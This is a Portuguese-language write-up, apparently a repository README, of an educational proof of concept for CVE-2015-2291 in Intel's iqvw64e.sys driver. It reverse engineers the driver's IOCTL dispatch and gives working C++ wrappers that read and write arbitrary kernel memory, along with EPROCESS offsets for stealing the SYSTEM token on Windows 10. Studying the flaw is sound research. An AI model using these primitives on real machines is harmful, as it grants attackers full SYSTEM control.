
Prova de conceito educacional para CVE-2015-2291 de escalada de privilégio local via abuso de IOCTL do driver Ethernet Intel, demonstrando leitura/escrita arbitrária de memória do kernel e roubo de token EPROCESS no Windows 10 x64.
CVE-2015-2291 Prova de Conceito de Escalação de Privilégio Local

Este projeto é uma prova de conceito educacional para uma vulnerabilidade de Escalação de Privilégio Local (LPE) no driver iqvw64e.sys (SHA256: 37c637a74bf20d7630281581a8fae124200920df11ad7cd68c14c26cc12c5ec9) — o driver de diagnóstico Ethernet Intel associado ao CVE-2015-2291.
Depois de ver o driver sendo explorado em carregadores de modo kernel como o KDMapper, quis fazer engenharia reversa dele para entender como funciona o despacho de IOCTL, que tipos de funções ele expõe ao modo usuário e como um invasor poderia descobri-las ou aproveitá-las. Este artigo percorre o processo desde a análise estática até a construção de primitivas de memória usando DeviceIoControl e, finalmente, criando um exploit que abusa dessas primitivas para substituir o token de acesso do processo atual pelo token do processo SYSTEM, efetivamente elevando o processo para privilégios de SYSTEM.
No Windows, cada processo está associado a um token de acesso que define sua identidade e privilégios. Ao obter leitura/escrita arbitrária no kernel, torna-se possível modificar o ponteiro do token armazenado na estrutura de processo do kernel. Substituir esse ponteiro pelo do processo SYSTEM faz com que o sistema operacional associe o processo atual ao contexto de segurança do SYSTEM, efetivamente concedendo-lhe privilégios completos. Saiba mais aqui.
O driver registra uma rotina de despacho para IRP_MJ_DEVICE_CONTROL, que lida com chamadas DeviceIoControl do modo usuário. Conforme mostrado abaixo, ela leva a sub_11150 que direciona o fluxo do código com base no código de controle de IO de entrada. Neste caso, estamos interessados em 0x80862007, que nos leva a loc_111C2.

Seguindo o fluxo de controle através de loc_111C2, chegamos a sub_113C0. Ela recebe um buffer de entrada (a1) e usa o primeiro QWORD desse buffer como um índice em uma tabela de despacho de funções manipuladoras internas. Aqui, o driver realiza o seguinte:
a1 → primeiro QWORD (0x0) → jump_table_indexa1 como argumentosAgora sabemos que o buffer de entrada controla tanto o alvo do despacho quanto seus parâmetros. Iremos definir melhor a estrutura do buffer de entrada à medida que continuamos a análise.
typedef struct _MEMMOVE_INPUT_BUFFER
{
uint64_t jump_table_index; // 0x00 — used as the dispatch selector
} MEMMOVE_INPUT_BUFFER, *PMEMMOVE_INPUT_BUFFER;


memmoveAo analisar os casos da tabela de despacho, procurei por manipuladores que se assemelham a memmove ou memcpy. No caso 0x33, o driver chama sub_11EA0, passando três campos do buffer de entrada. Isso se assemelha fortemente a uma cópia de memória:

Abrindo sub_11EA0, encontramos a assinatura esperada:
void* memmove( void* dest, const void* src, std::size_t count );
A desmontagem confirma que:
a1 = destinationa2 = sourcea3 = length
Com essas informações, podemos agora reconstruir completamente o layout do buffer de entrada esperado para a chamada memmove:
typedef struct _MEMMOVE_INPUT_BUFFER
{
uint64_t jump_table_index; // 0x00
uint64_t padding; // 0x08 (8)
uint64_t source; // 0x10 (16)
uint64_t destination; // 0x18 (24)
uint64_t length; // 0x20 (32)
} MEMMOVE_INPUT_BUFFER, *PMEMMOVE_INPUT_BUFFER;
Agora entendemos que ao enviar um MEMMOVE_INPUT_BUFFER válido para o driver, com:
jump_table_index = 0x33source, destination e length definidos conforme necessárioPodemos instruir o driver a chamar memmove em endereços arbitrários, dando-nos capacidades completas de leitura/escrita de memória do kernel a partir do modo usuário.
Aqui estão os wrappers de modo usuário construídos em torno dessa primitiva:
bool MemMove(uint64_t destination, uint64_t source, uint64_t size) {
if (!destination || !source || !size)
return 0;
MEMMOVE_INPUT_BUFFER input_buffer = { 0 };
input_buffer.jump_table_index = 0x33; //jumptable index for memmove (51)
input_buffer.source = source;
input_buffer.destination = destination;
input_buffer.length = size;
DWORD bytes_returned = 0;
return DeviceIoControl(hDriver, IOCTL_MEMMOVE, &input_buffer, sizeof(input_buffer), nullptr, 0, &bytes_returned, nullptr);
}
uintptr_t read64(uintptr_t address)
{
uintptr_t value = 0;
if (MemMove(reinterpret_cast<uint64_t>(&value), address, sizeof(uintptr_t)))
return value;
return 0;
}
bool write64(uintptr_t address, uintptr_t value)
{
return MemMove(address, reinterpret_cast<uint64_t>(&value), sizeof(uintptr_t));
}
Esses auxiliares permitem leituras e escritas arbitrárias de 64 bits na memória virtual do kernel. A partir deste ponto, vários ataques se tornam possíveis (como roubo de token EPROCESS), mas este artigo foca na reconstrução e análise. Você encontrará que main.cpp contém um exploit PoC de roubo de token EPROCESS, cortesia de Eap2468's CVE-2021-2155
UniqueProcessId: 0x440ActiveProcessLinks: 0x448Token: 0x4b8iqvw64e.sys (O binário do driver foi incluído no repositório para sua conveniência)37c637a74bf20d7630281581a8fae124200920df11ad7cd68c14c26cc12c5ec9